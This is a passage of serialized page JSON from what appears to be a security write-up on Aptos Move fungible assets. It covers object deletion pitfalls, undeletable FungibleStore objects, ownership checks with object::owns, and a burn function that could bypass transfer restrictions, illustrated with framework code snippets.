",{"type":24,"tag":154,"props":64152,"children":64154},{"className":64153},[],[64155],{"type":29,"value":64156},"fungible_asset::add_fungibility",{"type":29,"value":225},{"type":24,"tag":147,"props":64159,"children":64161},{"className":151,"code":64160,"language":150,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[64162],{"type":24,"tag":154,"props":64163,"children":64164},{"__ignoreMap":7},[64165],{"type":24,"tag":158,"props":64166,"children":64167},{"class":160,"line":161},[64168,64172,64176,64180,64185,64189,64194,64198,64203,64208,64212,64216],{"type":24,"tag":158,"props":64169,"children":64170},{"style":496},[64171],{"type":29,"value":43250},{"type":24,"tag":158,"props":64173,"children":64174},{"style":188},[64175],{"type":29,"value":504},{"type":24,"tag":158,"props":64177,"children":64178},{"style":222},[64179],{"type":29,"value":21865},{"type":24,"tag":158,"props":64181,"children":64182},{"style":188},[64183],{"type":29,"value":64184},"object",{"type":24,"tag":158,"props":64186,"children":64187},{"style":222},[64188],{"type":29,"value":2146},{"type":24,"tag":158,"props":64190,"children":64191},{"style":496},[64192],{"type":29,"value":64193},"can_generate_delete_ref",{"type":24,"tag":158,"props":64195,"children":64196},{"style":188},[64197],{"type":29,"value":504},{"type":24,"tag":158,"props":64199,"children":64200},{"style":177},[64201],{"type":29,"value":64202},"constructor_ref",{"type":24,"tag":158,"props":64204,"children":64205},{"style":188},[64206],{"type":29,"value":64207},"), error",{"type":24,"tag":158,"props":64209,"children":64210},{"style":222},[64211],{"type":29,"value":2146},{"type":24,"tag":158,"props":64213,"children":64214},{"style":496},[64215],{"type":29,"value":63648},{"type":24,"tag":158,"props":64217,"children":64218},{"style":188},[64219],{"type":29,"value":64220},"(EOBJECT_IS_DELETABLE));\n",{"type":24,"tag":25,"props":64222,"children":64223},{},[64224,64226,64231,64233,64238,64239,64246],{"type":29,"value":64225},"This object serves as the foundation for ownership tokens in the form of a ",{"type":24,"tag":154,"props":64227,"children":64229},{"className":64228},[],[64230],{"type":29,"value":62785},{"type":29,"value":64232},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":24,"tag":154,"props":64234,"children":64236},{"className":64235},[],[64237],{"type":29,"value":64156},{"type":29,"value":8106},{"type":24,"tag":101,"props":64240,"children":64243},{"href":64241,"rel":64242},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[105],[64244],{"type":29,"value":64245},"lacked this assert",{"type":29,"value":64247},", which we discovered and reported.",{"type":24,"tag":25,"props":64249,"children":64250},{},[64251,64256,64258,64263,64265,64270],{"type":24,"tag":154,"props":64252,"children":64254},{"className":64253},[],[64255],{"type":29,"value":64156},{"type":29,"value":64257}," transfers the ",{"type":24,"tag":154,"props":64259,"children":64261},{"className":64260},[],[64262],{"type":29,"value":62844},{"type":29,"value":64264}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":24,"tag":154,"props":64266,"children":64268},{"className":64267},[],[64269],{"type":29,"value":62785},{"type":29,"value":64271}," can be minted, representing a share of ownership in that object.",{"type":24,"tag":147,"props":64273,"children":64275},{"className":151,"code":64274,"language":150,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[64276],{"type":24,"tag":154,"props":64277,"children":64278},{"__ignoreMap":7},[64279,64287,64307,64322,64349,64364,64385,64397,64409,64421,64433,64445,64457,64464,64471,64486],{"type":24,"tag":158,"props":64280,"children":64281},{"class":160,"line":161},[64282],{"type":24,"tag":158,"props":64283,"children":64284},{"style":2588},[64285],{"type":29,"value":64286},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":24,"tag":158,"props":64288,"children":64289},{"class":160,"line":213},[64290,64294,64298,64303],{"type":24,"tag":158,"props":64291,"children":64292},{"style":177},[64293],{"type":29,"value":62949},{"type":24,"tag":158,"props":64295,"children":64296},{"style":177},[64297],{"type":29,"value":493},{"type":24,"tag":158,"props":64299,"children":64300},{"style":496},[64301],{"type":29,"value":64302}," add_fungibility",{"type":24,"tag":158,"props":64304,"children":64305},{"style":188},[64306],{"type":29,"value":2156},{"type":24,"tag":158,"props":64308,"children":64309},{"class":160,"line":238},[64310,64314,64318],{"type":24,"tag":158,"props":64311,"children":64312},{"style":188},[64313],{"type":29,"value":63992},{"type":24,"tag":158,"props":64315,"children":64316},{"style":222},[64317],{"type":29,"value":377},{"type":24,"tag":158,"props":64319,"children":64320},{"style":188},[64321],{"type":29,"value":2647},{"type":24,"tag":158,"props":64323,"children":64324},{"class":160,"line":259},[64325,64329,64333,64337,64341,64345],{"type":24,"tag":158,"props":64326,"children":64327},{"style":188},[64328],{"type":29,"value":521},{"type":24,"tag":158,"props":64330,"children":64331},{"style":222},[64332],{"type":29,"value":225},{"type":24,"tag":158,"props":64334,"children":64335},{"style":171},[64336],{"type":29,"value":62835},{"type":24,"tag":158,"props":64338,"children":64339},{"style":188},[64340],{"type":29,"value":3760},{"type":24,"tag":158,"props":64342,"children":64343},{"style":171},[64344],{"type":29,"value":62844},{"type":24,"tag":158,"props":64346,"children":64347},{"style":188},[64348],{"type":29,"value":8922},{"type":24,"tag":158,"props":64350,"children":64351},{"class":160,"line":280},[64352,64356,64360],{"type":24,"tag":158,"props":64353,"children":64354},{"style":188},[64355],{"type":29,"value":63992},{"type":24,"tag":158,"props":64357,"children":64358},{"style":222},[64359],{"type":29,"value":377},{"type":24,"tag":158,"props":64361,"children":64362},{"style":188},[64363],{"type":29,"value":2647},{"type":24,"tag":158,"props":64365,"children":64366},{"class":160,"line":301},[64367,64372,64376,64381],{"type":24,"tag":158,"props":64368,"children":64369},{"style":496},[64370],{"type":29,"value":64371}," move_to",{"type":24,"tag":158,"props":64373,"children":64374},{"style":188},[64375],{"type":29,"value":504},{"type":24,"tag":158,"props":64377,"children":64378},{"style":177},[64379],{"type":29,"value":64380},"metadata_object_signer",{"type":24,"tag":158,"props":64382,"children":64383},{"style":188},[64384],{"type":29,"value":235},{"type":24,"tag":158,"props":64386,"children":64387},{"class":160,"line":626},[64388,64393],{"type":24,"tag":158,"props":64389,"children":64390},{"style":171},[64391],{"type":29,"value":64392}," Metadata",{"type":24,"tag":158,"props":64394,"children":64395},{"style":188},[64396],{"type":29,"value":210},{"type":24,"tag":158,"props":64398,"children":64399},{"class":160,"line":668},[64400,64405],{"type":24,"tag":158,"props":64401,"children":64402},{"style":177},[64403],{"type":29,"value":64404}," name",{"type":24,"tag":158,"props":64406,"children":64407},{"style":188},[64408],{"type":29,"value":235},{"type":24,"tag":158,"props":64410,"children":64411},{"class":160,"line":676},[64412,64417],{"type":24,"tag":158,"props":64413,"children":64414},{"style":177},[64415],{"type":29,"value":64416}," symbol",{"type":24,"tag":158,"props":64418,"children":64419},{"style":188},[64420],{"type":29,"value":235},{"type":24,"tag":158,"props":64422,"children":64423},{"class":160,"line":684},[64424,64429],{"type":24,"tag":158,"props":64425,"children":64426},{"style":177},[64427],{"type":29,"value":64428}," decimals",{"type":24,"tag":158,"props":64430,"children":64431},{"style":188},[64432],{"type":29,"value":235},{"type":24,"tag":158,"props":64434,"children":64435},{"class":160,"line":700},[64436,64441],{"type":24,"tag":158,"props":64437,"children":64438},{"style":177},[64439],{"type":29,"value":64440}," icon_uri",{"type":24,"tag":158,"props":64442,"children":64443},{"style":188},[64444],{"type":29,"value":235},{"type":24,"tag":158,"props":64446,"children":64447},{"class":160,"line":785},[64448,64453],{"type":24,"tag":158,"props":64449,"children":64450},{"style":177},[64451],{"type":29,"value":64452}," project_uri",{"type":24,"tag":158,"props":64454,"children":64455},{"style":188},[64456],{"type":29,"value":235},{"type":24,"tag":158,"props":64458,"children":64459},{"class":160,"line":1447},[64460],{"type":24,"tag":158,"props":64461,"children":64462},{"style":188},[64463],{"type":29,"value":5010},{"type":24,"tag":158,"props":64465,"children":64466},{"class":160,"line":1509},[64467],{"type":24,"tag":158,"props":64468,"children":64469},{"style":188},[64470],{"type":29,"value":44924},{"type":24,"tag":158,"props":64472,"children":64473},{"class":160,"line":1527},[64474,64478,64482],{"type":24,"tag":158,"props":64475,"children":64476},{"style":188},[64477],{"type":29,"value":2048},{"type":24,"tag":158,"props":64479,"children":64480},{"style":222},[64481],{"type":29,"value":377},{"type":24,"tag":158,"props":64483,"children":64484},{"style":188},[64485],{"type":29,"value":2647},{"type":24,"tag":158,"props":64487,"children":64488},{"class":160,"line":1545},[64489],{"type":24,"tag":158,"props":64490,"children":64491},{"style":188},[64492],{"type":29,"value":307},{"type":24,"tag":20034,"props":64494,"children":64495},{},[],{"type":24,"tag":25,"props":64497,"children":64498},{},[64499,64501,64506,64508,64513],{"type":29,"value":64500},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":24,"tag":154,"props":64502,"children":64504},{"className":64503},[],[64505],{"type":29,"value":63350},{"type":29,"value":64507}," is also an object, and a \"secondary\" ",{"type":24,"tag":154,"props":64509,"children":64511},{"className":64510},[],[64512],{"type":29,"value":63350},{"type":29,"value":64514}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":24,"tag":147,"props":64516,"children":64518},{"className":151,"code":64517,"language":150,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[64519],{"type":24,"tag":154,"props":64520,"children":64521},{"__ignoreMap":7},[64522,64530,64572,64579,64587],{"type":24,"tag":158,"props":64523,"children":64524},{"class":160,"line":161},[64525],{"type":24,"tag":158,"props":64526,"children":64527},{"style":2588},[64528],{"type":29,"value":64529},"//Fungible asset\n",{"type":24,"tag":158,"props":64531,"children":64532},{"class":160,"line":213},[64533,64537,64541,64546,64550,64555,64559,64563,64568],{"type":24,"tag":158,"props":64534,"children":64535},{"style":177},[64536],{"type":29,"value":62949},{"type":24,"tag":158,"props":64538,"children":64539},{"style":177},[64540],{"type":29,"value":493},{"type":24,"tag":158,"props":64542,"children":64543},{"style":496},[64544],{"type":29,"value":64545}," remove_store",{"type":24,"tag":158,"props":64547,"children":64548},{"style":188},[64549],{"type":29,"value":504},{"type":24,"tag":158,"props":64551,"children":64552},{"style":177},[64553],{"type":29,"value":64554},"delete_ref",{"type":24,"tag":158,"props":64556,"children":64557},{"style":222},[64558],{"type":29,"value":225},{"type":24,"tag":158,"props":64560,"children":64561},{"style":222},[64562],{"type":29,"value":8784},{"type":24,"tag":158,"props":64564,"children":64565},{"style":171},[64566],{"type":29,"value":64567},"DeleteRef",{"type":24,"tag":158,"props":64569,"children":64570},{"style":188},[64571],{"type":29,"value":2125},{"type":24,"tag":158,"props":64573,"children":64574},{"class":160,"line":238},[64575],{"type":24,"tag":158,"props":64576,"children":64577},{"emptyLinePlaceholder":16},[64578],{"type":29,"value":481},{"type":24,"tag":158,"props":64580,"children":64581},{"class":160,"line":259},[64582],{"type":24,"tag":158,"props":64583,"children":64584},{"style":2588},[64585],{"type":29,"value":64586},"//Object\n",{"type":24,"tag":158,"props":64588,"children":64589},{"class":160,"line":280},[64590,64594,64598,64603,64607,64612,64616,64621],{"type":24,"tag":158,"props":64591,"children":64592},{"style":177},[64593],{"type":29,"value":62949},{"type":24,"tag":158,"props":64595,"children":64596},{"style":177},[64597],{"type":29,"value":493},{"type":24,"tag":158,"props":64599,"children":64600},{"style":496},[64601],{"type":29,"value":64602}," delete",{"type":24,"tag":158,"props":64604,"children":64605},{"style":188},[64606],{"type":29,"value":504},{"type":24,"tag":158,"props":64608,"children":64609},{"style":165},[64610],{"type":29,"value":64611},"ref",{"type":24,"tag":158,"props":64613,"children":64614},{"style":222},[64615],{"type":29,"value":225},{"type":24,"tag":158,"props":64617,"children":64618},{"style":171},[64619],{"type":29,"value":64620}," DeleteRef",{"type":24,"tag":158,"props":64622,"children":64623},{"style":188},[64624],{"type":29,"value":2125},{"type":24,"tag":25,"props":64626,"children":64627},{},[64628,64630,64636,64638,64643,64645,64650,64652,64657,64659,64665,64667,64673,64675,64680],{"type":29,"value":64629},"When ",{"type":24,"tag":154,"props":64631,"children":64633},{"className":64632},[],[64634],{"type":29,"value":64635},"object::delete",{"type":29,"value":64637}," removes the ",{"type":24,"tag":154,"props":64639,"children":64641},{"className":64640},[],[64642],{"type":29,"value":50122},{"type":29,"value":64644}," from a ",{"type":24,"tag":154,"props":64646,"children":64648},{"className":64647},[],[64649],{"type":29,"value":63350},{"type":29,"value":64651}," object, the ",{"type":24,"tag":154,"props":64653,"children":64655},{"className":64654},[],[64656],{"type":29,"value":63350},{"type":29,"value":64658}," resource becomes permanently undeletable. This is because ",{"type":24,"tag":154,"props":64660,"children":64662},{"className":64661},[],[64663],{"type":29,"value":64664},"remove_store",{"type":29,"value":64666}," can't create an ",{"type":24,"tag":154,"props":64668,"children":64670},{"className":64669},[],[64671],{"type":29,"value":64672},"Object\u003CFungibleStore>",{"type":29,"value":64674}," without an ",{"type":24,"tag":154,"props":64676,"children":64678},{"className":64677},[],[64679],{"type":29,"value":50122},{"type":29,"value":64681}," underneath, causing the operation to fail.",{"type":24,"tag":147,"props":64683,"children":64685},{"className":151,"code":64684,"language":150,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n [...]\n}\n",[64686],{"type":24,"tag":154,"props":64687,"children":64688},{"__ignoreMap":7},[64689,64744,64796,64811],{"type":24,"tag":158,"props":64690,"children":64691},{"class":160,"line":161},[64692,64696,64700,64704,64708,64712,64716,64720,64724,64728,64732,64736,64740],{"type":24,"tag":158,"props":64693,"children":64694},{"style":177},[64695],{"type":29,"value":62949},{"type":24,"tag":158,"props":64697,"children":64698},{"style":177},[64699],{"type":29,"value":493},{"type":24,"tag":158,"props":64701,"children":64702},{"style":496},[64703],{"type":29,"value":64545},{"type":24,"tag":158,"props":64705,"children":64706},{"style":188},[64707],{"type":29,"value":504},{"type":24,"tag":158,"props":64709,"children":64710},{"style":177},[64711],{"type":29,"value":64554},{"type":24,"tag":158,"props":64713,"children":64714},{"style":222},[64715],{"type":29,"value":225},{"type":24,"tag":158,"props":64717,"children":64718},{"style":222},[64719],{"type":29,"value":8784},{"type":24,"tag":158,"props":64721,"children":64722},{"style":171},[64723],{"type":29,"value":64567},{"type":24,"tag":158,"props":64725,"children":64726},{"style":188},[64727],{"type":29,"value":723},{"type":24,"tag":158,"props":64729,"children":64730},{"style":177},[64731],{"type":29,"value":4286},{"type":24,"tag":158,"props":64733,"children":64734},{"style":188},[64735],{"type":29,"value":24277},{"type":24,"tag":158,"props":64737,"children":64738},{"style":222},[64739],{"type":29,"value":377},{"type":24,"tag":158,"props":64741,"children":64742},{"style":188},[64743],{"type":29,"value":63040},{"type":24,"tag":158,"props":64745,"children":64746},{"class":160,"line":213},[64747,64751,64755,64759,64763,64767,64771,64776,64780,64784,64788,64792],{"type":24,"tag":158,"props":64748,"children":64749},{"style":165},[64750],{"type":29,"value":2710},{"type":24,"tag":158,"props":64752,"children":64753},{"style":177},[64754],{"type":29,"value":7483},{"type":24,"tag":158,"props":64756,"children":64757},{"style":222},[64758],{"type":29,"value":462},{"type":24,"tag":158,"props":64760,"children":64761},{"style":222},[64762],{"type":29,"value":8784},{"type":24,"tag":158,"props":64764,"children":64765},{"style":188},[64766],{"type":29,"value":64184},{"type":24,"tag":158,"props":64768,"children":64769},{"style":222},[64770],{"type":29,"value":2146},{"type":24,"tag":158,"props":64772,"children":64773},{"style":177},[64774],{"type":29,"value":64775},"object_from_delete_ref",{"type":24,"tag":158,"props":64777,"children":64778},{"style":188},[64779],{"type":29,"value":3760},{"type":24,"tag":158,"props":64781,"children":64782},{"style":171},[64783],{"type":29,"value":63350},{"type":24,"tag":158,"props":64785,"children":64786},{"style":188},[64787],{"type":29,"value":3817},{"type":24,"tag":158,"props":64789,"children":64790},{"style":177},[64791],{"type":29,"value":64554},{"type":24,"tag":158,"props":64793,"children":64794},{"style":188},[64795],{"type":29,"value":1071},{"type":24,"tag":158,"props":64797,"children":64798},{"class":160,"line":238},[64799,64803,64807],{"type":24,"tag":158,"props":64800,"children":64801},{"style":188},[64802],{"type":29,"value":63992},{"type":24,"tag":158,"props":64804,"children":64805},{"style":222},[64806],{"type":29,"value":377},{"type":24,"tag":158,"props":64808,"children":64809},{"style":188},[64810],{"type":29,"value":2647},{"type":24,"tag":158,"props":64812,"children":64813},{"class":160,"line":259},[64814],{"type":24,"tag":158,"props":64815,"children":64816},{"style":188},[64817],{"type":29,"value":307},{"type":24,"tag":25,"props":64819,"children":64820},{},[64821,64823,64828,64830,64836,64838,64843],{"type":29,"value":64822},"In addition, such \"deleted\" ",{"type":24,"tag":154,"props":64824,"children":64826},{"className":64825},[],[64827],{"type":29,"value":63350},{"type":29,"value":64829}," objects remain at least partially operable. For instance, ",{"type":24,"tag":154,"props":64831,"children":64833},{"className":64832},[],[64834],{"type":29,"value":64835},"fungible_asset::deposit",{"type":29,"value":64837}," does not check the ",{"type":24,"tag":154,"props":64839,"children":64841},{"className":64840},[],[64842],{"type":29,"value":50122},{"type":29,"value":64844}," existence.",{"type":24,"tag":395,"props":64846,"children":64848},{"id":64847},"ownership",[64849],{"type":29,"value":64850},"Ownership",{"type":24,"tag":25,"props":64852,"children":64853},{},[64854,64856,64861,64863,64869,64871,64876],{"type":29,"value":64855},"Each object has an owner. Fungible assets rely on the ",{"type":24,"tag":154,"props":64857,"children":64859},{"className":64858},[],[64860],{"type":29,"value":50122},{"type":29,"value":64862}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":24,"tag":154,"props":64864,"children":64866},{"className":64865},[],[64867],{"type":29,"value":64868},"object::owns",{"type":29,"value":64870}," to confirm ownership of the ",{"type":24,"tag":154,"props":64872,"children":64874},{"className":64873},[],[64875],{"type":29,"value":63350},{"type":29,"value":51448},{"type":24,"tag":147,"props":64878,"children":64880},{"className":151,"code":64879,"language":150,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[64881],{"type":24,"tag":154,"props":64882,"children":64883},{"__ignoreMap":7},[64884,64932,64956,64983,65003,65031,65099,65114],{"type":24,"tag":158,"props":64885,"children":64886},{"class":160,"line":161},[64887,64891,64895,64899,64903,64907,64912,64916,64920,64924,64928],{"type":24,"tag":158,"props":64888,"children":64889},{"style":496},[64890],{"type":29,"value":62949},{"type":24,"tag":158,"props":64892,"children":64893},{"style":188},[64894],{"type":29,"value":504},{"type":24,"tag":158,"props":64896,"children":64897},{"style":177},[64898],{"type":29,"value":8742},{"type":24,"tag":158,"props":64900,"children":64901},{"style":188},[64902],{"type":29,"value":723},{"type":24,"tag":158,"props":64904,"children":64905},{"style":177},[64906],{"type":29,"value":2861},{"type":24,"tag":158,"props":64908,"children":64909},{"style":177},[64910],{"type":29,"value":64911}," withdraw_sanity_check",{"type":24,"tag":158,"props":64913,"children":64914},{"style":188},[64915],{"type":29,"value":3760},{"type":24,"tag":158,"props":64917,"children":64918},{"style":171},[64919],{"type":29,"value":7637},{"type":24,"tag":158,"props":64921,"children":64922},{"style":222},[64923],{"type":29,"value":225},{"type":24,"tag":158,"props":64925,"children":64926},{"style":177},[64927],{"type":29,"value":7582},{"type":24,"tag":158,"props":64929,"children":64930},{"style":188},[64931],{"type":29,"value":8236},{"type":24,"tag":158,"props":64933,"children":64934},{"class":160,"line":213},[64935,64940,64944,64948,64952],{"type":24,"tag":158,"props":64936,"children":64937},{"style":177},[64938],{"type":29,"value":64939}," owner",{"type":24,"tag":158,"props":64941,"children":64942},{"style":222},[64943],{"type":29,"value":225},{"type":24,"tag":158,"props":64945,"children":64946},{"style":222},[64947],{"type":29,"value":8784},{"type":24,"tag":158,"props":64949,"children":64950},{"style":177},[64951],{"type":29,"value":8789},{"type":24,"tag":158,"props":64953,"children":64954},{"style":188},[64955],{"type":29,"value":235},{"type":24,"tag":158,"props":64957,"children":64958},{"class":160,"line":238},[64959,64963,64967,64971,64975,64979],{"type":24,"tag":158,"props":64960,"children":64961},{"style":177},[64962],{"type":29,"value":30673},{"type":24,"tag":158,"props":64964,"children":64965},{"style":222},[64966],{"type":29,"value":225},{"type":24,"tag":158,"props":64968,"children":64969},{"style":171},[64970],{"type":29,"value":62835},{"type":24,"tag":158,"props":64972,"children":64973},{"style":188},[64974],{"type":29,"value":3760},{"type":24,"tag":158,"props":64976,"children":64977},{"style":171},[64978],{"type":29,"value":7637},{"type":24,"tag":158,"props":64980,"children":64981},{"style":188},[64982],{"type":29,"value":7788},{"type":24,"tag":158,"props":64984,"children":64985},{"class":160,"line":259},[64986,64991,64995,64999],{"type":24,"tag":158,"props":64987,"children":64988},{"style":177},[64989],{"type":29,"value":64990}," abort_on_dispatch",{"type":24,"tag":158,"props":64992,"children":64993},{"style":222},[64994],{"type":29,"value":225},{"type":24,"tag":158,"props":64996,"children":64997},{"style":171},[64998],{"type":29,"value":2928},{"type":24,"tag":158,"props":65000,"children":65001},{"style":188},[65002],{"type":29,"value":235},{"type":24,"tag":158,"props":65004,"children":65005},{"class":160,"line":280},[65006,65010,65014,65018,65022,65027],{"type":24,"tag":158,"props":65007,"children":65008},{"style":188},[65009],{"type":29,"value":723},{"type":24,"tag":158,"props":65011,"children":65012},{"style":177},[65013],{"type":29,"value":4286},{"type":24,"tag":158,"props":65015,"children":65016},{"style":171},[65017],{"type":29,"value":63370},{"type":24,"tag":158,"props":65019,"children":65020},{"style":188},[65021],{"type":29,"value":191},{"type":24,"tag":158,"props":65023,"children":65024},{"style":171},[65025],{"type":29,"value":65026},"DispatchFunctionStore",{"type":24,"tag":158,"props":65028,"children":65029},{"style":188},[65030],{"type":29,"value":210},{"type":24,"tag":158,"props":65032,"children":65033},{"class":160,"line":301},[65034,65038,65043,65047,65052,65056,65060,65064,65068,65072,65076,65080,65085,65089,65094],{"type":24,"tag":158,"props":65035,"children":65036},{"style":496},[65037],{"type":29,"value":63618},{"type":24,"tag":158,"props":65039,"children":65040},{"style":188},[65041],{"type":29,"value":65042},"(object",{"type":24,"tag":158,"props":65044,"children":65045},{"style":222},[65046],{"type":29,"value":2146},{"type":24,"tag":158,"props":65048,"children":65049},{"style":496},[65050],{"type":29,"value":65051},"owns",{"type":24,"tag":158,"props":65053,"children":65054},{"style":188},[65055],{"type":29,"value":504},{"type":24,"tag":158,"props":65057,"children":65058},{"style":177},[65059],{"type":29,"value":205},{"type":24,"tag":158,"props":65061,"children":65062},{"style":188},[65063],{"type":29,"value":3826},{"type":24,"tag":158,"props":65065,"children":65066},{"style":222},[65067],{"type":29,"value":2146},{"type":24,"tag":158,"props":65069,"children":65070},{"style":496},[65071],{"type":29,"value":3835},{"type":24,"tag":158,"props":65073,"children":65074},{"style":188},[65075],{"type":29,"value":504},{"type":24,"tag":158,"props":65077,"children":65078},{"style":177},[65079],{"type":29,"value":16845},{"type":24,"tag":158,"props":65081,"children":65082},{"style":188},[65083],{"type":29,"value":65084},")), error",{"type":24,"tag":158,"props":65086,"children":65087},{"style":222},[65088],{"type":29,"value":2146},{"type":24,"tag":158,"props":65090,"children":65091},{"style":496},[65092],{"type":29,"value":65093},"permission_denied",{"type":24,"tag":158,"props":65095,"children":65096},{"style":188},[65097],{"type":29,"value":65098},"(ENOT_STORE_OWNER));\n",{"type":24,"tag":158,"props":65100,"children":65101},{"class":160,"line":626},[65102,65106,65110],{"type":24,"tag":158,"props":65103,"children":65104},{"style":188},[65105],{"type":29,"value":63992},{"type":24,"tag":158,"props":65107,"children":65108},{"style":222},[65109],{"type":29,"value":377},{"type":24,"tag":158,"props":65111,"children":65112},{"style":188},[65113],{"type":29,"value":2647},{"type":24,"tag":158,"props":65115,"children":65116},{"class":160,"line":668},[65117],{"type":24,"tag":158,"props":65118,"children":65119},{"style":188},[65120],{"type":29,"value":307},{"type":24,"tag":25,"props":65122,"children":65123},{},[65124,65126,65131,65133,65139,65141,65147],{"type":29,"value":65125},"The thing to note is that defining ownership with ",{"type":24,"tag":154,"props":65127,"children":65129},{"className":65128},[],[65130],{"type":29,"value":64868},{"type":29,"value":65132}," can be tricky. The ",{"type":24,"tag":154,"props":65134,"children":65136},{"className":65135},[],[65137],{"type":29,"value":65138},"burn",{"type":29,"value":65140}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":24,"tag":154,"props":65142,"children":65144},{"className":65143},[],[65145],{"type":29,"value":65146},"BURN_ADDRESS",{"type":29,"value":65148}," while bypassing transfer restrictions:",{"type":24,"tag":147,"props":65150,"children":65152},{"className":151,"code":65151,"language":150,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[65153],{"type":24,"tag":154,"props":65154,"children":65155},{"__ignoreMap":7},[65156,65253,65294,65344,65373,65423,65444],{"type":24,"tag":158,"props":65157,"children":65158},{"class":160,"line":161},[65159,65163,65167,65171,65176,65180,65184,65188,65192,65196,65200,65204,65208,65212,65216,65220,65224,65228,65232,65236,65240,65244,65249],{"type":24,"tag":158,"props":65160,"children":65161},{"style":177},[65162],{"type":29,"value":62949},{"type":24,"tag":158,"props":65164,"children":65165},{"style":177},[65166],{"type":29,"value":63916},{"type":24,"tag":158,"props":65168,"children":65169},{"style":177},[65170],{"type":29,"value":493},{"type":24,"tag":158,"props":65172,"children":65173},{"style":177},[65174],{"type":29,"value":65175}," burn",{"type":24,"tag":158,"props":65177,"children":65178},{"style":188},[65179],{"type":29,"value":3760},{"type":24,"tag":158,"props":65181,"children":65182},{"style":171},[65183],{"type":29,"value":7637},{"type":24,"tag":158,"props":65185,"children":65186},{"style":222},[65187],{"type":29,"value":225},{"type":24,"tag":158,"props":65189,"children":65190},{"style":177},[65191],{"type":29,"value":7582},{"type":24,"tag":158,"props":65193,"children":65194},{"style":188},[65195],{"type":29,"value":3817},{"type":24,"tag":158,"props":65197,"children":65198},{"style":177},[65199],{"type":29,"value":16845},{"type":24,"tag":158,"props":65201,"children":65202},{"style":222},[65203],{"type":29,"value":225},{"type":24,"tag":158,"props":65205,"children":65206},{"style":222},[65207],{"type":29,"value":8784},{"type":24,"tag":158,"props":65209,"children":65210},{"style":177},[65211],{"type":29,"value":8789},{"type":24,"tag":158,"props":65213,"children":65214},{"style":188},[65215],{"type":29,"value":191},{"type":24,"tag":158,"props":65217,"children":65218},{"style":177},[65219],{"type":29,"value":64184},{"type":24,"tag":158,"props":65221,"children":65222},{"style":222},[65223],{"type":29,"value":225},{"type":24,"tag":158,"props":65225,"children":65226},{"style":171},[65227],{"type":29,"value":62835},{"type":24,"tag":158,"props":65229,"children":65230},{"style":188},[65231],{"type":29,"value":3760},{"type":24,"tag":158,"props":65233,"children":65234},{"style":171},[65235],{"type":29,"value":7637},{"type":24,"tag":158,"props":65237,"children":65238},{"style":188},[65239],{"type":29,"value":21690},{"type":24,"tag":158,"props":65241,"children":65242},{"style":177},[65243],{"type":29,"value":4286},{"type":24,"tag":158,"props":65245,"children":65246},{"style":171},[65247],{"type":29,"value":65248}," ObjectCore",{"type":24,"tag":158,"props":65250,"children":65251},{"style":188},[65252],{"type":29,"value":210},{"type":24,"tag":158,"props":65254,"children":65255},{"class":160,"line":213},[65256,65260,65265,65269,65274,65278,65282,65286,65290],{"type":24,"tag":158,"props":65257,"children":65258},{"style":165},[65259],{"type":29,"value":2710},{"type":24,"tag":158,"props":65261,"children":65262},{"style":177},[65263],{"type":29,"value":65264}," original_owner",{"type":24,"tag":158,"props":65266,"children":65267},{"style":222},[65268],{"type":29,"value":462},{"type":24,"tag":158,"props":65270,"children":65271},{"style":188},[65272],{"type":29,"value":65273}," signer",{"type":24,"tag":158,"props":65275,"children":65276},{"style":222},[65277],{"type":29,"value":2146},{"type":24,"tag":158,"props":65279,"children":65280},{"style":496},[65281],{"type":29,"value":3835},{"type":24,"tag":158,"props":65283,"children":65284},{"style":188},[65285],{"type":29,"value":504},{"type":24,"tag":158,"props":65287,"children":65288},{"style":177},[65289],{"type":29,"value":16845},{"type":24,"tag":158,"props":65291,"children":65292},{"style":188},[65293],{"type":29,"value":1071},{"type":24,"tag":158,"props":65295,"children":65296},{"class":160,"line":238},[65297,65301,65305,65310,65314,65318,65322,65327,65331,65335,65339],{"type":24,"tag":158,"props":65298,"children":65299},{"style":496},[65300],{"type":29,"value":63618},{"type":24,"tag":158,"props":65302,"children":65303},{"style":188},[65304],{"type":29,"value":504},{"type":24,"tag":158,"props":65306,"children":65307},{"style":496},[65308],{"type":29,"value":65309},"is_owner",{"type":24,"tag":158,"props":65311,"children":65312},{"style":188},[65313],{"type":29,"value":504},{"type":24,"tag":158,"props":65315,"children":65316},{"style":177},[65317],{"type":29,"value":64184},{"type":24,"tag":158,"props":65319,"children":65320},{"style":188},[65321],{"type":29,"value":191},{"type":24,"tag":158,"props":65323,"children":65324},{"style":177},[65325],{"type":29,"value":65326},"original_owner",{"type":24,"tag":158,"props":65328,"children":65329},{"style":188},[65330],{"type":29,"value":64207},{"type":24,"tag":158,"props":65332,"children":65333},{"style":222},[65334],{"type":29,"